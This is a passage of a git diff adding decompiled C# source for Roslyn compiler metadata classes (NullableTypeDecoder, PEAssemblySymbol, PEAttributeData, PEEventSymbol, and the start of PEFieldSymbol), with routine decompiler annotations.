ArrayTypeSymbol? TransformArrayType(ArrayTypeSymbol type) + { + TypeWithAnnotations? typeWithAnnotations = TransformTypeWithAnnotations(type.ElementTypeWithAnnotations); + if (typeWithAnnotations.HasValue) + { + TypeWithAnnotations valueOrDefault = typeWithAnnotations.GetValueOrDefault(); + return type.WithElementType(valueOrDefault); + } + return null; + } + + private PointerTypeSymbol? TransformPointerType(PointerTypeSymbol type) + { + TypeWithAnnotations? typeWithAnnotations = TransformTypeWithAnnotations(type.PointedAtTypeWithAnnotations); + if (typeWithAnnotations.HasValue) + { + TypeWithAnnotations valueOrDefault = typeWithAnnotations.GetValueOrDefault(); + return type.WithPointedAtType(valueOrDefault); + } + return null; + } + + private FunctionPointerTypeSymbol? TransformFunctionPointerType(FunctionPointerTypeSymbol type) + { + TypeWithAnnotations? typeWithAnnotations = TransformTypeWithAnnotations(type.Signature.ReturnTypeWithAnnotations); + if (typeWithAnnotations.HasValue) + { + TypeWithAnnotations valueOrDefault = typeWithAnnotations.GetValueOrDefault(); + ImmutableArray substitutedParameterTypes = ImmutableArray.Empty; + bool flag = false; + if (type.Signature.ParameterCount > 0) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(type.Signature.ParameterCount); + ImmutableArray.Enumerator enumerator = type.Signature.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + ParameterSymbol current = enumerator.Current; + typeWithAnnotations = TransformTypeWithAnnotations(current.TypeWithAnnotations); + if (typeWithAnnotations.HasValue) + { + TypeWithAnnotations valueOrDefault2 = typeWithAnnotations.GetValueOrDefault(); + flag = flag || !valueOrDefault2.IsSameAs(current.TypeWithAnnotations); + instance.Add(valueOrDefault2); + continue; + } + return null; + } + if (flag) + { + substitutedParameterTypes = instance.ToImmutableAndFree(); + } + else + { + substitutedParameterTypes = type.Signature.ParameterTypesWithAnnotations; + instance.Free(); + } + } + if (flag || !valueOrDefault.IsSameAs(type.Signature.ReturnTypeWithAnnotations)) + { + return type.SubstituteTypeSymbol(valueOrDefault, substitutedParameterTypes, default(ImmutableArray), default(ImmutableArray>)); + } + return type; + } + return null; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/NullableTypeDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/NullableTypeDecoder.cs new file mode 100644 index 0000000..cfc70e0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/NullableTypeDecoder.cs @@ -0,0 +1,41 @@ +using System.Collections.Immutable; +using System.Reflection.Metadata; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal static class NullableTypeDecoder +{ + internal static TypeWithAnnotations TransformType(TypeWithAnnotations metadataType, EntityHandle targetSymbolToken, PEModuleSymbol containingModule, Symbol accessSymbol, Symbol nullableContext) + { + byte valueOrDefault = default(byte); + ImmutableArray nullableTransformFlags = default(ImmutableArray); + if (!containingModule.Module.HasNullableAttribute(targetSymbolToken, ref valueOrDefault, ref nullableTransformFlags)) + { + byte? nullableContextValue = nullableContext.GetNullableContextValue(); + if (!nullableContextValue.HasValue) + { + return metadataType; + } + valueOrDefault = nullableContextValue.GetValueOrDefault(); + } + if (!containingModule.ShouldDecodeNullableAttributes(accessSymbol)) + { + return metadataType; + } + return TransformType(metadataType, valueOrDefault, nullableTransformFlags); + } + + internal static TypeWithAnnotations TransformType(TypeWithAnnotations metadataType, byte defaultTransformFlag, ImmutableArray nullableTransformFlags) + { + if (nullableTransformFlags.IsDefault && defaultTransformFlag == 0) + { + return metadataType; + } + int position = 0; + if (metadataType.ApplyNullableTransforms(defaultTransformFlag, nullableTransformFlags, ref position, out var result) && (nullableTransformFlags.IsDefault || position == nullableTransformFlags.Length)) + { + return result; + } + return metadataType; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEAssemblySymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEAssemblySymbol.cs new file mode 100644 index 0000000..18e4f69 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEAssemblySymbol.cs @@ -0,0 +1,216 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using System.Reflection.Metadata.Ecma335; +using System.Threading; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PEAssemblySymbol : MetadataOrSourceAssemblySymbol +{ + private readonly PEAssembly _assembly; + + private readonly DocumentationProvider _documentationProvider; + + private readonly ImmutableArray _modules; + + private ImmutableArray _noPiaResolutionAssemblies; + + private ImmutableArray _linkedReferencedAssemblies; + + private readonly bool _isLinked; + + private ImmutableArray _lazyCustomAttributes; + + private DiagnosticInfo? _lazyCachedCompilerFeatureRequiredDiagnosticInfo = CSDiagnosticInfo.EmptyErrorInfo; + + private ObsoleteAttributeData? _lazyObsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + internal PEAssembly Assembly => _assembly; + + public override AssemblyIdentity Identity => _assembly.Identity; + + public override Version AssemblyVersionPattern => null; + + public override ImmutableArray Modules => _modules; + + public override ImmutableArray Locations => ImmutableArrayExtensions.Cast(PrimaryModule.MetadataLocation); + + public override int MetadataToken => MetadataTokens.GetToken(_assembly.Handle); + + internal override ImmutableArray PublicKey => Identity.PublicKey; + + internal DocumentationProvider DocumentationProvider => _documentationProvider; + + internal override bool IsLinked => _isLinked; + + public override bool MightContainExtensionMethods => true; + + internal PEModuleSymbol PrimaryModule => (PEModuleSymbol)_modules[0]; + + internal sealed override CSharpCompilation DeclaringCompilation => null; + + public override bool HasUnsupportedMetadata + { + get + { + DiagnosticInfo? compilerFeatureRequiredDiagnostic = GetCompilerFeatureRequiredDiagnostic(); + if (compilerFeatureRequiredDiagnostic == null || compilerFeatureRequiredDiagnostic.Code != 9041) + { + return base.HasUnsupportedMetadata; + } + return true; + } + } + + internal sealed override ObsoleteAttributeData? ObsoleteAttributeData + { + get + { + if (_lazyObsoleteAttributeData == ObsoleteAttributeData.Uninitialized) + { + Interlocked.CompareExchange(ref _lazyObsoleteAttributeData, computeObsoleteAttributeData(), ObsoleteAttributeData.Uninitialized); + } + return _lazyObsoleteAttributeData; + ObsoleteAttributeData? computeObsoleteAttributeData() + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = GetAttributes().GetEnumerator(); + while (enumerator.MoveNext()) + { + CSharpAttributeData current = enumerator.Current; + if (current.IsTargetAttribute(this, AttributeDescription.ExperimentalAttribute)) + { + return ((AttributeData)current).DecodeExperimentalAttribute(); + } + } + return null; + } + } + } + + internal PEAssemblySymbol(PEAssembly assembly, DocumentationProvider documentationProvider, bool isLinked, MetadataImportOptions importOptions) + { + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + _assembly = assembly; + _documentationProvider = documentationProvider; + ModuleSymbol[] array = new ModuleSymbol[assembly.Modules.Length]; + for (int i = 0; i < assembly.Modules.Length; i++) + { + array[i] = new PEModuleSymbol(this, assembly.Modules[i], importOptions, i); + } + _modules = ImmutableArrayExtensions.AsImmutableOrNull(array); + _isLinked = isLinked; + } + + public override ImmutableArray GetAttributes() + { + if (_lazyCustomAttributes.IsDefault) + { + if (MightContainExtensionMethods) + { + PrimaryModule.LoadCustomAttributesFilterExtensions(_assembly.Handle, ref _lazyCustomAttributes); + } + else + { + PrimaryModule.LoadCustomAttributes(_assembly.Handle, ref _lazyCustomAttributes); + } + } + return _lazyCustomAttributes; + } + + internal (AssemblySymbol FirstSymbol, AssemblySymbol SecondSymbol) LookupAssembliesForForwardedMetadataType(ref MetadataTypeName emittedName) + { + return PrimaryModule.GetAssembliesForForwardedType(ref emittedName); + } + + internal override IEnumerable GetAllTopLevelForwardedTypes() + { + return PrimaryModule.GetForwardedTypes(); + } + + internal override NamedTypeSymbol? TryLookupForwardedMetadataTypeWithCycleDetection(ref MetadataTypeName emittedName, ConsList? visitedAssemblies) + { + var (assemblySymbol, assemblySymbol2) = LookupAssembliesForForwardedMetadataType(ref emittedName); + if ((object)assemblySymbol != null) + { + if ((object)assemblySymbol2 != null) + { + return CreateMultipleForwardingErrorTypeSymbol(ref emittedName, PrimaryModule, assemblySymbol, assemblySymbol2); + } + if (visitedAssemblies != null && ((IEnumerable)visitedAssemblies).Contains(assemblySymbol)) + { + return CreateCycleInTypeForwarderErrorTypeSymbol(ref emittedName); + } + visitedAssemblies = new ConsList((AssemblySymbol)this, visitedAssemblies ?? ConsList.Empty); + return assemblySymbol.LookupDeclaredOrForwardedTopLevelMetadataType(ref emittedName, visitedAssemblies); + } + return null; + } + + internal override ImmutableArray GetNoPiaResolutionAssemblies() + { + return _noPiaResolutionAssemblies; + } + + internal override void SetNoPiaResolutionAssemblies(ImmutableArray assemblies) + { + _noPiaResolutionAssemblies = assemblies; + } + + internal override void SetLinkedReferencedAssemblies(ImmutableArray assemblies) + { + _linkedReferencedAssemblies = assemblies; + } + + internal override ImmutableArray GetLinkedReferencedAssemblies() + { + return _linkedReferencedAssemblies; + } + + internal override bool GetGuidString(out string guidString) + { + return Assembly.Modules[0].HasGuidAttribute(Assembly.Handle, ref guidString); + } + + internal override bool AreInternalsVisibleToThisAssembly(AssemblySymbol potentialGiverOfAccess) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Invalid comparison between Unknown and I4 + IVTConclusion val = MakeFinalIVTDetermination(potentialGiverOfAccess); + if ((int)val != 0) + { + return (int)val == 1; + } + return true; + } + + internal override IEnumerable> GetInternalsVisibleToPublicKeys(string simpleName) + { + return Assembly.GetInternalsVisibleToPublicKeys(simpleName); + } + + internal override IEnumerable GetInternalsVisibleToAssemblyNames() + { + return Assembly.GetInternalsVisibleToAssemblyNames(); + } + + public override AssemblyMetadata GetMetadata() + { + return _assembly.GetNonDisposableMetadata(); + } + + internal DiagnosticInfo? GetCompilerFeatureRequiredDiagnostic() + { + if (_lazyCachedCompilerFeatureRequiredDiagnosticInfo == CSDiagnosticInfo.EmptyErrorInfo) + { + Interlocked.CompareExchange(ref _lazyCachedCompilerFeatureRequiredDiagnosticInfo, PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, PrimaryModule, Assembly.Handle, (CompilerFeatureRequiredFeatures)0, new MetadataDecoder(PrimaryModule)), CSDiagnosticInfo.EmptyErrorInfo); + } + return _lazyCachedCompilerFeatureRequiredDiagnosticInfo; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEAttributeData.cs new file mode 100644 index 0000000..7a55b5d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEAttributeData.cs @@ -0,0 +1,139 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Reflection.Metadata; +using System.Threading; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PEAttributeData : CSharpAttributeData +{ + private readonly MetadataDecoder _decoder; + + private readonly CustomAttributeHandle _handle; + + private NamedTypeSymbol? _lazyAttributeClass = ErrorTypeSymbol.UnknownResultType; + + private MethodSymbol? _lazyAttributeConstructor; + + private ImmutableArray _lazyConstructorArguments; + + private ImmutableArray> _lazyNamedArguments; + + private ThreeState _lazyHasErrors; + + public override NamedTypeSymbol? AttributeClass + { + get + { + EnsureClassAndConstructorSymbolsAreLoaded(); + return _lazyAttributeClass; + } + } + + public override MethodSymbol? AttributeConstructor + { + get + { + EnsureClassAndConstructorSymbolsAreLoaded(); + return _lazyAttributeConstructor; + } + } + + public override SyntaxReference? ApplicationSyntaxReference => null; + + protected internal override ImmutableArray CommonConstructorArguments + { + get + { + EnsureAttributeArgumentsAreLoaded(); + return _lazyConstructorArguments; + } + } + + protected internal override ImmutableArray> CommonNamedArguments + { + get + { + EnsureAttributeArgumentsAreLoaded(); + return _lazyNamedArguments; + } + } + + [MemberNotNullWhen(true, new string[] { "AttributeClass", "AttributeConstructor" })] + internal override bool HasErrors + { + [MemberNotNullWhen(true, new string[] { "AttributeClass", "AttributeConstructor" })] + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if ((int)_lazyHasErrors == 0) + { + EnsureClassAndConstructorSymbolsAreLoaded(); + EnsureAttributeArgumentsAreLoaded(); + if ((int)_lazyHasErrors == 0) + { + _lazyHasErrors = (ThreeState)1; + } + } + return ThreeStateHelpers.Value(_lazyHasErrors); + } + } + + internal PEAttributeData(PEModuleSymbol moduleSymbol, CustomAttributeHandle handle) + { + _decoder = new MetadataDecoder(moduleSymbol); + _handle = handle; + } + + private void EnsureClassAndConstructorSymbolsAreLoaded() + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + if ((object)_lazyAttributeClass == ErrorTypeSymbol.UnknownResultType) + { + TypeSymbol typeSymbol = default(TypeSymbol); + MethodSymbol methodSymbol = default(MethodSymbol); + if (!((MetadataDecoder)_decoder).GetCustomAttribute(_handle, ref typeSymbol, ref methodSymbol)) + { + _lazyHasErrors = (ThreeState)2; + } + else if ((object)typeSymbol == null || typeSymbol.IsErrorType() || (object)methodSymbol == null) + { + _lazyHasErrors = (ThreeState)2; + } + Interlocked.CompareExchange(ref _lazyAttributeConstructor, methodSymbol, null); + Interlocked.CompareExchange(ref _lazyAttributeClass, (NamedTypeSymbol)typeSymbol, ErrorTypeSymbol.UnknownResultType); + } + } + + private void EnsureAttributeArgumentsAreLoaded() + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + if (_lazyConstructorArguments.IsDefault || _lazyNamedArguments.IsDefault) + { + TypedConstant[] items = null; + KeyValuePair[] items2 = null; + if (!((MetadataDecoder)_decoder).GetCustomAttribute(_handle, ref items, ref items2)) + { + _lazyHasErrors = (ThreeState)2; + } + ImmutableInterlocked.InterlockedInitialize(ref _lazyConstructorArguments, ImmutableArray.Create(items)); + ImmutableInterlocked.InterlockedInitialize>(ref _lazyNamedArguments, ImmutableArray.Create(items2)); + } + } + + internal override bool IsTargetAttribute(string namespaceName, string typeName) + { + return ((MetadataDecoder)_decoder).IsTargetAttribute(_handle, namespaceName, typeName, false); + } + + internal override int GetTargetAttributeSignatureIndex(Symbol targetSymbol, AttributeDescription description) + { + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + return ((MetadataDecoder)_decoder).GetTargetAttributeSignatureIndex(_handle, description); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEEventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEEventSymbol.cs new file mode 100644 index 0000000..e760b63 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEEventSymbol.cs @@ -0,0 +1,393 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.DocumentationComments; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PEEventSymbol : EventSymbol +{ + [Flags] + private enum Flags : byte + { + IsSpecialName = 1, + IsRuntimeSpecialName = 2, + CallMethodsDirectly = 4 + } + + private readonly string _name; + + private readonly PENamedTypeSymbol _containingType; + + private readonly EventDefinitionHandle _handle; + + private readonly TypeWithAnnotations _eventTypeWithAnnotations; + + private readonly PEMethodSymbol _addMethod; + + private readonly PEMethodSymbol _removeMethod; + + private readonly PEFieldSymbol? _associatedFieldOpt; + + private ImmutableArray _lazyCustomAttributes; + + private Tuple? _lazyDocComment; + + private CachedUseSiteInfo _lazyCachedUseSiteInfo = CachedUseSiteInfo.Uninitialized; + + private ObsoleteAttributeData _lazyObsoleteAttributeData = ObsoleteAttributeData.Uninitialized; + + private const int UnsetAccessibility = -1; + + private int _lazyDeclaredAccessibility = -1; + + private readonly Flags _flags; + + public override bool IsWindowsRuntimeEvent + { + get + { + NamedTypeSymbol eventRegistrationToken = ((PEModuleSymbol)ContainingModule).EventRegistrationToken; + if (TypeSymbol.Equals(_addMethod.ReturnType, eventRegistrationToken, (TypeCompareKind)0) && _addMethod.ParameterCount == 1 && _removeMethod.ParameterCount == 1) + { + return TypeSymbol.Equals(_removeMethod.Parameters[0].Type, eventRegistrationToken, (TypeCompareKind)0); + } + return false; + } + } + + internal override FieldSymbol? AssociatedField => _associatedFieldOpt; + + public override Symbol ContainingSymbol => _containingType; + + public override NamedTypeSymbol ContainingType => _containingType; + + public override string Name => _name; + + public override int MetadataToken => MetadataTokens.GetToken(_handle); + + internal override bool HasSpecialName => (_flags & Flags.IsSpecialName) != 0; + + internal override bool HasRuntimeSpecialName => (_flags & Flags.IsRuntimeSpecialName) != 0; + + internal EventDefinitionHandle Handle => _handle; + + public override Accessibility DeclaredAccessibility + { + get + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Expected I4, but got Unknown + if (_lazyDeclaredAccessibility == -1) + { + Accessibility declaredAccessibilityFromAccessors = PEPropertyOrEventHelpers.GetDeclaredAccessibilityFromAccessors((MethodSymbol)_addMethod, (MethodSymbol)_removeMethod); + Interlocked.CompareExchange(ref _lazyDeclaredAccessibility, (int)declaredAccessibilityFromAccessors, -1); + } + return (Accessibility)_lazyDeclaredAccessibility; + } + } + + public override bool IsExtern + { + get + { + if (!_addMethod.IsExtern) + { + return _removeMethod.IsExtern; + } + return true; + } + } + + public override bool IsAbstract + { + get + { + if (!_addMethod.IsAbstract) + { + return _removeMethod.IsAbstract; + } + return true; + } + } + + public override bool IsSealed + { + get + { + if (!_addMethod.IsSealed) + { + return _removeMethod.IsSealed; + } + return true; + } + } + + public override bool IsVirtual + { + get + { + if (!IsOverride && !IsAbstract) + { + if (!_addMethod.IsVirtual) + { + return _removeMethod.IsVirtual; + } + return true; + } + return false; + } + } + + public override bool IsOverride + { + get + { + if (!_addMethod.IsOverride) + { + return _removeMethod.IsOverride; + } + return true; + } + } + + public override bool IsStatic + { + get + { + if (_addMethod.IsStatic) + { + return _removeMethod.IsStatic; + } + return false; + } + } + + public override TypeWithAnnotations TypeWithAnnotations => _eventTypeWithAnnotations; + + public override MethodSymbol AddMethod => _addMethod; + + public override MethodSymbol RemoveMethod => _removeMethod; + + public override ImmutableArray Locations => ImmutableArrayExtensions.Cast(_containingType.ContainingPEModule.MetadataLocation); + + public override ImmutableArray DeclaringSyntaxReferences => ImmutableArray.Empty; + + public override ImmutableArray ExplicitInterfaceImplementations + { + get + { + if (_addMethod.ExplicitInterfaceImplementations.Length == 0 && _removeMethod.ExplicitInterfaceImplementations.Length == 0) + { + return ImmutableArray.Empty; + } + ISet eventsForExplicitlyImplementedAccessor = PEPropertyOrEventHelpers.GetEventsForExplicitlyImplementedAccessor(_addMethod); + if (eventsForExplicitlyImplementedAccessor.Count != 0) + { + eventsForExplicitlyImplementedAccessor.IntersectWith(PEPropertyOrEventHelpers.GetEventsForExplicitlyImplementedAccessor(_removeMethod)); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (EventSymbol item in eventsForExplicitlyImplementedAccessor) + { + instance.Add(item); + } + return instance.ToImmutableAndFree(); + } + } + + internal override bool MustCallMethodsDirectly => (_flags & Flags.CallMethodsDirectly) != 0; + + internal override ObsoleteAttributeData ObsoleteAttributeData + { + get + { + ObsoleteAttributeHelpers.InitializeObsoleteDataFromMetadata(ref _lazyObsoleteAttributeData, _handle, (PEModuleSymbol)ContainingModule, ignoreByRefLikeMarker: false, ignoreRequiredMemberMarker: false); + return _lazyObsoleteAttributeData; + } + } + + internal sealed override CSharpCompilation? DeclaringCompilation => null; + + internal PEEventSymbol(PEModuleSymbol moduleSymbol, PENamedTypeSymbol containingType, EventDefinitionHandle handle, PEMethodSymbol addMethod, PEMethodSymbol removeMethod, MultiDictionary privateFieldNameToSymbols) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + _addMethod = addMethod; + _removeMethod = removeMethod; + _handle = handle; + _containingType = containingType; + EventAttributes eventAttributes = EventAttributes.None; + EntityHandle entityHandle = default(EntityHandle); + try + { + moduleSymbol.Module.GetEventDefPropsOrThrow(handle, ref _name, ref eventAttributes, ref entityHandle); + } + catch (BadImageFormatException mrEx) + { + _name = _name ?? string.Empty; + _lazyCachedUseSiteInfo.Initialize((DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BindToBogus, this)); + if (entityHandle.IsNil) + { + _eventTypeWithAnnotations = TypeWithAnnotations.Create(new UnsupportedMetadataTypeSymbol(mrEx)); + } + } + TypeSymbol typeSymbol = _eventTypeWithAnnotations.Type; + if (!_eventTypeWithAnnotations.HasType) + { + typeSymbol = ((MetadataDecoder)new MetadataDecoder(moduleSymbol, containingType)).GetTypeOfToken(entityHandle); + TypeWithAnnotations metadataType = TypeWithAnnotations.Create(NativeIntegerTypeDecoder.TransformType(DynamicTypeDecoder.TransformType(typeSymbol, 0, handle, moduleSymbol, (RefKind)0), handle, moduleSymbol, _containingType)); + metadataType = NullableTypeDecoder.TransformType(metadataType, handle, moduleSymbol, _containingType, _containingType); + metadataType = TupleTypeDecoder.DecodeTupleTypesIfApplicable(metadataType, handle, moduleSymbol); + _eventTypeWithAnnotations = metadataType; + } + bool isWindowsRuntimeEvent = IsWindowsRuntimeEvent; + if (isWindowsRuntimeEvent ? (!DoModifiersMatch(_addMethod, _removeMethod)) : (!DoSignaturesMatch(moduleSymbol, typeSymbol, _addMethod, _removeMethod))) + { + _flags |= Flags.CallMethodsDirectly; + } + else + { + _addMethod.SetAssociatedEvent(this, (MethodKind)5); + _removeMethod.SetAssociatedEvent(this, (MethodKind)7); + PEFieldSymbol associatedField = GetAssociatedField(privateFieldNameToSymbols, isWindowsRuntimeEvent); + if ((object)associatedField != null) + { + _associatedFieldOpt = associatedField; + associatedField.SetAssociatedEvent(this); + } + } + if ((eventAttributes & EventAttributes.SpecialName) != EventAttributes.None) + { + _flags |= Flags.IsSpecialName; + } + if ((eventAttributes & EventAttributes.RTSpecialName) != EventAttributes.None) + { + _flags |= Flags.IsRuntimeSpecialName; + } + } + + private PEFieldSymbol? GetAssociatedField(MultiDictionary privateFieldNameToSymbols, bool isWindowsRuntimeEvent) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + Enumerator enumerator = privateFieldNameToSymbols[_name].GetEnumerator(); + try + { + while (enumerator.MoveNext()) + { + PEFieldSymbol current = enumerator.Current; + TypeSymbol type = current.Type; + if (isWindowsRuntimeEvent) + { + if (TypeSymbol.Equals(((PEModuleSymbol)ContainingModule).EventRegistrationTokenTable_T, type.OriginalDefinition, (TypeCompareKind)0) && TypeSymbol.Equals(_eventTypeWithAnnotations.Type, ((NamedTypeSymbol)type).TypeArgumentsWithAnnotationsNoUseSiteDiagnostics[0].Type, (TypeCompareKind)0)) + { + return current; + } + } + else if (TypeSymbol.Equals(type, _eventTypeWithAnnotations.Type, (TypeCompareKind)0)) + { + return current; + } + } + } + finally + { + ((IDisposable)enumerator/*cast due to constrained. prefix*/).Dispose(); + } + return null; + } + + public override ImmutableArray GetAttributes() + { + if (_lazyCustomAttributes.IsDefault) + { + ((PEModuleSymbol)ContainingModule).LoadCustomAttributes(_handle, ref _lazyCustomAttributes); + } + return _lazyCustomAttributes; + } + + internal override IEnumerable GetCustomAttributesToEmit(PEModuleBuilder moduleBuilder) + { + return GetAttributes(); + } + + private static bool DoSignaturesMatch(PEModuleSymbol moduleSymbol, TypeSymbol eventType, PEMethodSymbol addMethod, PEMethodSymbol removeMethod) + { + if ((eventType.IsDelegateType() || eventType.IsErrorType()) && DoesSignatureMatch(moduleSymbol, eventType, addMethod) && DoesSignatureMatch(moduleSymbol, eventType, removeMethod)) + { + return DoModifiersMatch(addMethod, removeMethod); + } + return false; + } + + private static bool DoModifiersMatch(PEMethodSymbol addMethod, PEMethodSymbol removeMethod) + { + if (addMethod.IsExtern == removeMethod.IsExtern) + { + return addMethod.IsStatic == removeMethod.IsStatic; + } + return false; + } + + private static bool DoesSignatureMatch(PEModuleSymbol moduleSymbol, TypeSymbol eventType, PEMethodSymbol method) + { + MetadataDecoder metadataDecoder = new MetadataDecoder(moduleSymbol, method); + SignatureHeader signatureHeader = default(SignatureHeader); + BadImageFormatException ex = default(BadImageFormatException); + ParamInfo[] signatureForMethod = ((MetadataDecoder)metadataDecoder).GetSignatureForMethod(method.Handle, ref signatureHeader, ref ex, false); + if (ex != null) + { + return false; + } + return ((MetadataDecoder)metadataDecoder).DoesSignatureMatchEvent(eventType, signatureForMethod); + } + + public override string GetDocumentationCommentXml(CultureInfo? preferredCulture = null, bool expandIncludes = false, CancellationToken cancellationToken = default(CancellationToken)) + { + return PEDocumentationCommentUtils.GetDocumentationComment(this, _containingType.ContainingPEModule, preferredCulture, cancellationToken, ref _lazyDocComment); + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0034: Unknown result type (might be due to invalid IL or missing references) + AssemblySymbol primaryDependency = base.PrimaryDependency; + if (!_lazyCachedUseSiteInfo.IsInitialized) + { + UseSiteInfo result = default(UseSiteInfo); + result._002Ector(primaryDependency); + CalculateUseSiteDiagnostic(ref result); + deriveCompilerFeatureRequiredUseSiteInfo(ref result); + _lazyCachedUseSiteInfo.Initialize(primaryDependency, result); + } + return _lazyCachedUseSiteInfo.ToUseSiteInfo(primaryDependency); + void deriveCompilerFeatureRequiredUseSiteInfo(ref UseSiteInfo reference) + { + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + PENamedTypeSymbol pENamedTypeSymbol = (PENamedTypeSymbol)ContainingType; + PEModuleSymbol containingPEModule = _containingType.ContainingPEModule; + DiagnosticInfo val = PEUtilities.DeriveCompilerFeatureRequiredAttributeDiagnostic(this, containingPEModule, Handle, (CompilerFeatureRequiredFeatures)0, new MetadataDecoder(containingPEModule, pENamedTypeSymbol)); + if (val == null) + { + val = pENamedTypeSymbol.GetCompilerFeatureRequiredDiagnostic(); + } + if (val != null) + { + reference = new UseSiteInfo(val); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEFieldSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEFieldSymbol.cs new file mode 100644 index 0000000..f733cf8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE/PEFieldSymbol.cs @@ -0,0 +1,580 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Globalization; +using System.Linq; +using System.Reflection; +using System.Reflection.Metadata; +using System.Reflection.Metadata.Ecma335; +using System.Runtime.InteropServices; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.DocumentationComments; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols.Metadata.PE; + +internal sealed class PEFieldSymbol : FieldSymbol +{ + private struct PackedFlags + { + private const int HasDisallowNullAttribute = 1; + + private const int HasAllowNullAttribute = 2; + + private const int HasMaybeNullAttribute = 4; + + private const int HasNotNullAttribute = 8; + + private const int FlowAnalysisAnnotationsCompletionBit = 16; + + private const int IsVolatileBit = 32; + + private const int RefKindOffset = 6; + + private const int RefKindMask = 3; + + private const int HasRequiredMemberAttribute = 256; + + private const int RequiredMemberCompletionBit = 512; + + private int _bits; + + public bool IsVolatile => (_bits & 0x20) != 0; + + public RefKind RefKind => (RefKind)(byte)((_bits >> 6) & 3); + + public bool SetFlowAnalysisAnnotations(FlowAnalysisAnnotations value) + { + int num = 16; + if ((value & FlowAnalysisAnnotations.DisallowNull) != FlowAnalysisAnnotations.None) + { + num |= 1; + } + if ((value & FlowAnalysisAnnotations.AllowNull) != FlowAnalysisAnnotations.None) + { + num |= 2; + } + if ((value & FlowAnalysisAnnotations.MaybeNull) != FlowAnalysisAnnotations.None) + { + num 